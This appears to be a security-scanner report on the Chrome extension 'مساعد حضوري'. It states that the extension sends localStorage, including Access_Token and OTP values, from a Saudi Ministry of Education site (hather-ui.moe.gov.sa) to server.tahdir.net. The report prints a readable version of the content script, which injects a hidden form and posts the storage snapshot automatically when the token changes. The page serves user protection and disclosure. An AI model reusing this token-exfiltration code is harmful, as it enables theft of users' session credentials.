Is مساعد حضوري safe?

High risk

The extension sends hather-ui.moe.gov.sa localStorage, including Access_Token, and OTP values to server.tahdir.net.

When a user is on hather-ui.moe.gov.sa, the content script adds a hidden form that posts a snapshot of the page's localStorage to server.tahdir.net/user/teachers/hudury/connect. Auto-send is enabled by default, and the extension resubmits the localStorage snapshot with stored OTP values whenever Access_Token changes.

برمجة دوت كومv2Chrome Web Store
72Risk
Who publishes it

برمجة دوت كوم - 5 other listings from the same operator, 3 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
برمجة دوت كوم

Same store account

5 other listings published from this account, 13k+ users between them. 3 of them carry a finding.

خدمات اضافية - برمجة دوت كوم7k+Cleanالتحضير الذكي2k+Mediumالتحضير الذكي v32k+Mediumالواتس المباشر - إرسال رسائل واتساب جماعية1k+Lowنقار - المساعد الذكي | للمشرفين533Medium

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Hather UI localStorage token sent to Tahdir

On hather-ui.moe.gov.sa pages, the content script injects a POST form to server.tahdir.net/user/teachers/hudury/connect.

Adding an OTP, or an Access_Token change with auto-send on, copies JSON.stringify(localStorage), incl.

Access_Token.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You open a Hather UI page and use the extension panel to add an OTP.

The code path is limited to hather-ui.moe.gov.sa pages whose URL does not include landing.

The extension did this

The content script copies the page's browser storage into a POST form and submits it with that OTP to server.tahdir.net.

If automatic sending is enabled, it repeats the same form submission after Access_Token changes.

Fields populated before the form submission
  • Hather UI access token
    Access_Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJoYXRoZXItdWkiLCJzdWIiOiJ0ZWFjaGVyMTIzIn0.wdfr2ShkZOVlwxu8P6Qo6B0YZmLhD3wMGoEjV4ZBD14

    Lets the receiving service receive a token value that may represent your Hather UI session when the site has stored it in the browser.

  • Page storage snapshot
    {"auto":"yes","Access_Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJoYXRoZXItdWkiLCJzdWIiOiJ0ZWFjaGVyMTIzIn0.wdfr2ShkZOVlwxu8P6Qo6B0YZmLhD3wMGoEjV4ZBD14","otps":"[\"481926\"]"}

    Sends the site's local browser storage, which can include session and application state tied to your account.

  • OTP or link code
    481926

    Sends the code you type into the extension panel together with the storage snapshot.

  • Automatic-send setting
    auto: yes

    Controls whether the extension repeats submissions after the page's access token changes.

Captured request
POSThttps://server.tahdir.net/user/teachers/hudury/connect
The code that does this

The content script copies localStorage and submits the form

Readable version

Readable registration summary

manifest.json
// Manifest V3 registers assets/js/background.js as a content script.// The match list includes https://*.moe.gov.sa/*, which covers hather-ui.moe.gov.sa.const contentScript = {  scripts: ["assets/js/jquery.min.js", "assets/js/background.js"],  matches: [    "https://*.madrasati.sa/*",    "https://*.moe.gov.sa/*",    "https://*.naqar.net/*",    "https://*.tahdir.net/*",    "https://*.brmja.com/*",    "https://*.whatsapp.com/*"  ]};

Readable equivalent of the Hather UI submission path

assets/js/background.js
if (location.href.includes("hather-ui.moe.gov.sa") && !location.href.includes("landing")) {  document.body.insertAdjacentHTML(    "beforeend",    "<form action='https://server.tahdir.net/user/teachers/hudury/connect' method='post' target='_blank' id='myforma'>" +      "<textarea id='ccsa3234' name='value'></textarea>" +      "<textarea id='otpx' name='otp'></textarea>" +    "</form>"  );  if (localStorage.getItem("auto") === "yes" || !localStorage.getItem("auto")) {    localStorage.setItem("auto", "yes");    document.querySelector("#auto")?.click();  }  document.querySelector("#auto")?.addEventListener("change", () => {    localStorage.setItem("auto", document.querySelector("#auto").checked ? "yes" : "no");  });  const otps = JSON.parse(localStorage.getItem("otps") ?? "[]");  document.querySelector("#addotp")?.addEventListener("click", () => {    const otp = document.querySelector("#otp").value;    otps.push(otp);    localStorage.setItem("otps", JSON.stringify(otps));    document.querySelector("#otpx").value = otp;    document.querySelector("#ccsa3234").value = JSON.stringify(localStorage);    document.querySelector("#myforma").submit();  });  setInterval(() => {    if (!document.querySelector("#auto")?.checked) return;    if (localStorage.getItem("lastinfo") === localStorage.getItem("Access_Token")) return;    localStorage.setItem("lastinfo", localStorage.getItem("Access_Token"));    const pendingOtps = JSON.parse(JSON.stringify(otps));    function submitNextOtp() {      if (!pendingOtps[0]) return;      document.querySelector("#otpx").value = pendingOtps[0];      document.querySelector("#ccsa3234").value = JSON.stringify(localStorage);      document.querySelector("#myforma").submit();      pendingOtps.shift();      setTimeout(submitNextOtp, 200);    }    submitNextOtp();  }, 1000);}
Destination contacted by the content script
    • server.tahdir.net

    Receives the form POST containing the value storage snapshot and otp code; the Chrome Web Store listing describes Hudury/Tahdir service integration.

What it can do

Permissions this extension asks for, as declared in version 2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed مساعد حضوري contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • server.tahdir.net

    مساعد حضوري sends data to server.tahdir.net. No other extension we have analysed sends data here.

Updated 30 September 2026fcciehnilalgimppgikbmlmpklaeckmj